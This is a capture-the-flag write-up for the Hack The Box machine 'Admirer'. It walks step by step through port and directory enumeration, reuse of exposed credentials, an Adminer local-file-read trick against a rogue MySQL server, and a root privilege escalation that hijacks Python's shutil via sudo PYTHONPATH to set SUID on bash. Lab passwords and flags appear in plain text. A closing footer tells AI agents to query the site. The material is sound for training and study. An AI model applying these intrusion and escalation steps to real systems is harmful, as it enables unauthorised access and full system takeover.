# Admirer

<figure><img src="/files/S7M5Bs0E1vA1JAbjjv1V" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.187 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.92 scan initiated Thu Sep  1 18:23:31 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.187
Warning: 10.10.10.187 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.187
Host is up (0.25s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

# Nmap done at Thu Sep  1 18:24:03 2022 -- 1 IP address (1 host up) scanned in 32.04 seconds
```

{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p21,22,80 10.10.10.134 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.92 scan initiated Thu Sep  1 18:25:04 2022 as: nmap -sCV -p21,22,80 -oN targeted 10.10.10.187
Nmap scan report for admirer.htb (10.10.10.187)
Host is up (0.079s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Admirer
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep  1 18:25:17 2022 -- 1 IP address (1 host up) scanned in 13.19 seconds
```

{% endcode %}

The website just show some images.

<figure><img src="/files/s1KrlFQafl9A4bgrCKdH" alt=""><figcaption></figcaption></figure>

If we take a look at the `robots.txt` file, we'll see that there is one disallowed directory called `/admin-dir`. Now we also know that the user `waldo` might be valid.

<figure><img src="/files/9udZegX9eVFb7X7iqYHv" alt=""><figcaption></figcaption></figure>

If we try to access it, we'll get a `403 Forbidden` response.

<figure><img src="/files/BCtHfXOTuGdNz8gnP0FI" alt=""><figcaption></figcaption></figure>

Let's try to find hidden directories with gobuster.

> gobuster dir -u <https://10.10.10.187> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt -k

* `dir` enumerates **directories or files**.
* `-u` the **target** URL.
* `-w` path to the **wordlist**.
* `-t` number of current **threads**, in this case 200 threads.
* `-x` file **extensions** to search for.

```bash
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.187/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt
[+] Timeout:                 10s
===============================================================
2022/09/01 18:33:54 Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 313] [--> http://10.10.10.187/assets/]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.187/images/]
/robots.txt           (Status: 200) [Size: 138]                                  
                                                                                 
===============================================================
2022/09/01 18:38:34 Finished
===============================================================
```

There is nothing interesting. We could also try to find subdirectories under the `/admin-dir` directory.

> gobuster dir -u <https://10.10.10.187/admin-dir> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt -k

* `dir` enumerates **directories or files**.
* `-u` the **target** URL.
* `-w` path to the **wordlist**.
* `-t` number of current **threads**, in this case 200 threads.
* `-x` file **extensions** to search for.

```bash
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.187/admin-dir
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt
[+] Timeout:                 10s
===============================================================
2022/09/01 18:39:13 Starting gobuster in directory enumeration mode
===============================================================
/contacts.txt         (Status: 200) [Size: 350]
/credentials.txt      (Status: 200) [Size: 136]      
                                               
===============================================================
2022/09/01 18:48:58 Finished
===============================================================
```

And we see the `contacts.txt` file with information about some users.

<figure><img src="/files/TQNBojRUurFfbznCitsH" alt=""><figcaption></figcaption></figure>

And the `credentials.txt` file with some usernames and passwords.

<figure><img src="/files/2QbSzRdOnfcdIJDHJE2T" alt=""><figcaption></figcaption></figure>

## Exploitation

As we can see, we have credentials for the *FTP* server, let's try those.

> ftp 10.10.10.187

```bash
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:alfa8sa): ftpuser
331 Please specify the password.
Password: %n?4Wz}R$tTF7
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

Now, let's list whats in the server.

> ftp> ls

```
229 Entering Extended Passive Mode (|||26142|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
```

Let's transfer the `html.tar.gz` file to our machine.

> ftp> get html.tar.gz

```
local: html.tar.gz remote: html.tar.gz
229 Entering Extended Passive Mode (|||18079|)
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
100% |**********************************************************************************************|  5147 KiB  346.49 KiB/s    00:00 ETA
226 Transfer complete.
5270987 bytes received in 00:14 (345.09 KiB/s)
```

And extract it's content.

> gzip -d html.tar.gz
>
> tar -xf html.tar

Now we can see what looks like a backup of the website.

> ls -l

```bash
total 7180
drwxr-x--- 6 root www-data    4096 Jun  6  2019 assets
-rw-r--r-- 1 root root     7321600 Dec  3  2019 html.tar
drwxr-x--- 4 root www-data    4096 Dec  2  2019 images
-rw-r----- 1 root www-data    4613 Dec  3  2019 index.php
-rw-r----- 1 root www-data     134 Dec  1  2019 robots.txt
drwxr-x--- 2 root www-data    4096 Dec  2  2019 utility-scripts
drwxr-x--- 2 root www-data    4096 Dec  2  2019 w4ld0s_s3cr3t_d1r
```

If we inspect the files and directories, we'll find two more password on the `index.php` file and the `utility-scripts/db_admin.php` file.

> cat index.php

```php
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
```

> cat utility-scripts/db\_admin.php

```php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
```

But none of the passwords we have found is valid for the user `waldo` either for SSH or FTP logins. At this point I tried to access the `utility-scripts/adminer.php` directory with the browser, and I found an *Adminer* login page.

<figure><img src="/files/0fU356nNokMfVXrrEQli" alt=""><figcaption></figcaption></figure>

I started to search for any common vulnerabilities on *Adminer*, and I found this [exploit](https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool), which allow me to read local files of the victim machine. The idea is to login with the *Adminer* page to our *MySQL* server, and then we'll be able to load local files from the victim machine. First, let's modify the MySQL configuration file, so remote access is enable.

> nano /etc/mysql/mariadb.conf.d/50-server.cnf

```
bind-address = 0.0.0.0
```

Now, let's start the *MySQL* process.

> service mysql start

Then, access *MySQL* as the *root* user.

> mysql -u root

```
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 78
Server version: 10.5.12-MariaDB-1 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
```

Create a new database called `testdb`.

> create database testdb;

Create a new user called `'test'@'admirer.htb'` with the `test` password.

> create user 'test'@'admirer.htb' identified by 'test';

And grant all privileges on the `testdb` database to the `'test'@'admirer.htb'` user.

> grant all on testdb.\* to 'test'@'admirer.htb';
>
> flush privileges;

Now, let's use the `testdb` databases, and create a new table called `xml` with the `data` column.

> use testdb;
>
> create table xml(data varchar(1024));

Now, let's access the `testdb` databases with the `'test'@'admirer.htb'` user from the *Adminer* login page.

<figure><img src="/files/qCmYp1wfQL8VWciYWeRB" alt=""><figcaption></figcaption></figure>

Once logged in, go to the `SQL command` section. Now we could read files from the victim machine. Let's try to read the content of the `index.php` file of the website. To do that, execute the following query.

```sql
load data local infile '/var/www/html/index.php'
into table testdb.xml
fields terminated by '\n'
```

<figure><img src="/files/7qv6330V6lyfZ5MmOWGl" alt=""><figcaption></figcaption></figure>

If now we check the `xml` table, we'll see the content of the `index.php` file, and we'll be able to see some other credentials.

> select \* from testdb.xml;

```php
...
$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";
...
```

But this time, it seems like this password is valid for the `waldo` user. Then, we'll be able to grab the user flag.

> sshpass -p '&\<h5b\~yK3F#{PaPB\&dA}{H>' ssh waldo\@10.10.10.187

```
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ whoami
waldo
waldo@admirer:~$ cat user.txt 
28f6361291dae6f4c04b4ea441269498
```

## Privilege Escalation

If we list the *sudo* privileges we'll see that we can execute a bash script, and set environment variables as the root user.

> sudo -l

```
[sudo] password for waldo: &<h5b~yK3F#{PaPB&dA}{H>
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh
```

Let's see what the `admin_tasks.sh` script is doing.

> cat /opt/scripts/admin\_tasks.sh

{% code overflow="wrap" %}

```bash
#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
{
    /usr/bin/w
}

view_crontab()
{
    /usr/bin/crontab -l
}

backup_passwd()                                                                                                                            
{                                                                                                                                          
    if [ "$EUID" -eq 0 ]                                                                                                                   
    then                                                                                                                                   
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."                                                                        
        /bin/cp /etc/passwd /var/backups/passwd.bak                                                                                        
        /bin/chown root:root /var/backups/passwd.bak                                                                                       
        /bin/chmod 600 /var/backups/passwd.bak                                                                                             
        echo "Done."                                                                                                                       
    else                                                                                                                                   
        echo "Insufficient privileges to perform the selected operation."                                                                  
    fi                                                                                                                                     
}                                                                                                                                          
                                                                                                                                           
backup_shadow()                                                                                                                            
{                                                                                                                                          
    if [ "$EUID" -eq 0 ]                                                                                                                   
    then                                                                                                                                   
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."                                                                        
        /bin/cp /etc/shadow /var/backups/shadow.bak                                                                                        
        /bin/chown root:shadow /var/backups/shadow.bak                                                                                     
        /bin/chmod 600 /var/backups/shadow.bak                                                                                             
        echo "Done."                                                                                                                       
    else                                                                                                                                   
        echo "Insufficient privileges to perform the selected operation."                                                                  
    fi                                                                                                                                     
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}


# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2
    esac

    exit 0
fi


# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done

exit 0
```

{% endcode %}

The script has multiple functionalities, but one of them executes a python script called `/opt/scripts/backup.py`. Let's take a look at it.

> cat /opt/scripts/backup.py

```python
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)
```

As we can see, the script is using the `shutil` library, but with the relative path. This allow us to do a library hijacking, so when we execute the script as the *root* user, a `shutil` script created by us will be executed and we'll be able to execute commands as *root*. First, let's create the `shutil.py` script in the `/tmp` directory, which will give the `/bin/bash` binary the *SUID* permission.

> nano /tmp/shutil.py

```python
import os

def make_archive(a,b,c):
        os.system("chmod u+s /bin/bash")
```

Now, let's check `PYTHONPATH` environment variable.

> python -c "import sys; print sys.path"

{% code overflow="wrap" %}

```
['', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages']
```

{% endcode %}

We have to add the `/tmp` directory.

> export PYTHONPATH=/tmp

Let's check it now.

> python -c "import sys; print sys.path"

{% code overflow="wrap" %}

```
['', '/tmp', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages']
```

{% endcode %}

If now we execute the bash script, using the sixth option, so we trigger the python script, it will execute our `shutil.py` script. But, we have to add the `/tmp` directory to the `PYTHONPATH` environment variable.

> sudo PYTHONPATH=/tmp /opt/scripts/admin\_tasks.sh

```
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
```

Now, the `/bin/bash` binary has the *SUID* permission set.

> ls -l /bin/bash

```bash
-rwsr-xr-x 1 root root 1099016 May 15  2017 /bin/bash
```

Finally, all we have to do is execute bash with *SUID* permissions, and reap the harvest and take the root flag.

> bash -p

```
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt 
be7a103586bf9e2d410b3bfe93ade1c7
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/admirer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
